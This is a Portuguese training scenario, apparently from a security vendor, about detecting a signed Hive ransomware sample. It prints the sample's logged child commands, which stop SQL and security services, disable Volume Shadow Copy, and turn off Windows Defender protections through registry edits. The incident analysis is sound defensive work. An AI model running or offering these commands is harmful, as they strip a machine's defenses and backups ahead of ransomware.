Cenário de Treinamento - Ransomware Assinado

Nome do Grupo

Dados de Treinamento - Ransomware Assinado (Hive)

Cenário

Neste cenário de treinamento, executaremos uma carga útil de ransomware, em execução como administrador, e com uma assinatura personalizada. Este cenário não é muito diferente da amostra '**vanilla**', mas utiliza um executável assinado.

Frequentemente, executáveis assinados são tratados como se estivessem verificados como benignos. Embora seja verdade que todo software certificado *deveria* ser assinado, esta não é uma relação bidirecional, e não devemos confiar em algo *apenas* porque está assinado. Infelizmente, às vezes esse erro é cometido.

Identificando isso

Além do fato de que este nome de certificado é um tanto estranho para fins de treinamento, como o Cyber Crucible sabe que não é confiável? O Cyber Crucible age com cautela e mantém uma lista (específica do grupo) de certificados confiáveis. Isso significa que podemos facilmente identificar certificados de teste de assinatura, bem como certificados oficiais de grandes ACs como a digicerts.

Number of Incidents	Machine Name	Program Path	Program Arguments
1	\\CC-NOAH-TEST	C:\Users\Administrator\Desktop\321d0c4f1bbb44c53cd02186107a18b7a...	

Created	Response Name	Untrusted Remote Threads	Modified Memory	No Trusted Cert
October 18, 2022 at 1:51:54 PM EDT	Worm Geum Indigo 180	False	False	True

Podemos ver acima que, mesmo que o arquivo “321d0...” esteja assinado, ele ainda não é confiável. Como não há outras técnicas de ofuscação complexas usadas para implantar o ataque, sabemos exatamente de onde ele veio!

Para confirmar o método de execução, podemos analisar as criações de processos ao redor do horário do incidente. O que vemos confirma que não houve nenhum método de exploração complexo, nem mesmo um script! Assim como em outras amostras, as criações de processos filhos são interessantes. Embora o método de execução do próprio malware fosse óbvio, muitos processos em segundo plano são iniciados para desativar proteções e outras configurações do sistema.

Child Path	Child Arguments
C:\Windows\System32\net.exe	net.exe stop "LanmanWorkstation" /y
C:\Windows\System32\net1.exe	C:\Windows\system32\net1 stop "LanmanWorkstation" /y
C:\Windows\System32\net.exe	net.exe stop "MsDtsServer130" /y
C:\Windows\System32\net1.exe	C:\Windows\system32\net1 stop "MsDtsServer130" /y
C:\Windows\System32\net.exe	net.exe stop "MSSQL$MSSQLSERVER01" /y
C:\Windows\System32\net1.exe	C:\Windows\system32\net1 stop "MSSQL$MSSQLSERVER01" /y
C:\Windows\System32\net.exe	net.exe stop "MSSQLSERVER" /y
C:\Windows\System32\net1.exe	C:\Windows\system32\net1 stop "MSSQLSERVER" /y
C:\Windows\System32\net.exe	net.exe stop "sacsvr" /y
C:\Windows\System32\net1.exe	C:\Windows\system32\net1 stop "sacsvr" /y
C:\Windows\System32\net.exe	net.exe stop "SamSs" /y
C:\Windows\System32\net1.exe	C:\Windows\system32\net1 stop "SamSs" /y
C:\Windows\System32\net.exe	net.exe stop "SQLAgent$MSSQLSERVER01" /y
C:\Windows\System32\net1.exe	C:\Windows\system32\net1 stop "SQLAgent$MSSQLSERVER01" /y
C:\Windows\System32\net.exe	net.exe stop "SQLBrowser" /y
C:\Windows\System32\net1.exe	C:\Windows\system32\net1 stop "SQLBrowser" /y
C:\Windows\System32\net.exe	net.exe stop "SQLSERVERAGENT" /y
C:\Windows\System32\net1.exe	C:\Windows\system32\net1 stop "SQLSERVERAGENT" /y
C:\Windows\System32\net.exe	net.exe stop "SQLTELEMETRY$MSSQLSERVER01" /y
C:\Windows\System32\net1.exe	C:\Windows\system32\net1 stop "SQLTELEMETRY$MSSQLSERVER01" /y

Child Path	Child Arguments
C:\Windows\System32\sc.exe	sc.exe config "SQLWriter" start= disabled
C:\Windows\System32\sc.exe	sc.exe config "SstpSvc" start= disabled
C:\Windows\System32\sc.exe	sc.exe config "vmicvss" start= disabled
C:\Windows\System32\sc.exe	sc.exe config "VSS" start= disabled
C:\Windows\System32\sc.exe	sc.exe config "WRSVC" start= disabled
C:\Windows\System32\sc.exe	sc.exe config "UnistoreSvc_1a55fcc" start= disabled
C:\Windows\System32\reg.exe	reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
C:\Windows\System32\reg.exe	reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
C:\Windows\System32\reg.exe	reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
C:\Windows\System32\reg.exe	reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
C:\Windows\System32\reg.exe	reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
C:\Windows\System32\reg.exe	reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /...
C:\Windows\System32\reg.exe	reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t RE...
C:\Windows\System32\reg.exe	reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /...
C:\Windows\System32\reg.exe	reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /...
C:\Windows\System32\reg.exe	reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable...

Neste ponto, o ataque foi contido pelo Cyber Crucible, mas a análise dos processos relacionados é importante para determinar o escopo dos comportamentos maliciosos. A execução do exe não assinado, por si só, parece óbvia quando exposta pelo Cyber Crucible, mas muitas vezes processos em segundo plano iniciados por algo tão privilegiado e protegido quanto o Defender simplesmente seriam ignorados.

Documentação relevante

- Mitre T1566 - O phishing pode ser usado para induzir um usuário a realizar uma ação que ele não teria feito de outra forma, como executar um script ou compartilhar uma senha.
- Mitre T1091 - O malware pode se replicar em mídia removível para que a próxima máquina conectada possa executá-lo por meio de autorun ou vulnerabilidades de driver.
- Mitre T1204 - A execução pelo usuário, frequentemente obtida por meio de phishing, é a forma mais simples de o malware iniciar a execução.
- Mitre T1587-002 - Certificados de assinatura de código são uma forma de uma autoridade certificar o código de uma aplicação. O malware pode gerar um certificado que não vem de nenhuma autoridade certificadora, mas pode confundir um usuário levando-o a pensar que é legítimo.
- Mitre T1587-003 - Certificados SSL são usados para garantir que a transmissão de dados seja confiável. Em um ambiente mal configurado, o malware pode conseguir instalar seu

próprio certificado SSL para facilitar ataques do tipo man in the middle.

Revision #1
Created 2026-07-24 05:12:15 UTC by Dennis Underwood
Updated 2026-07-24 05:12:16 UTC by Dennis Underwood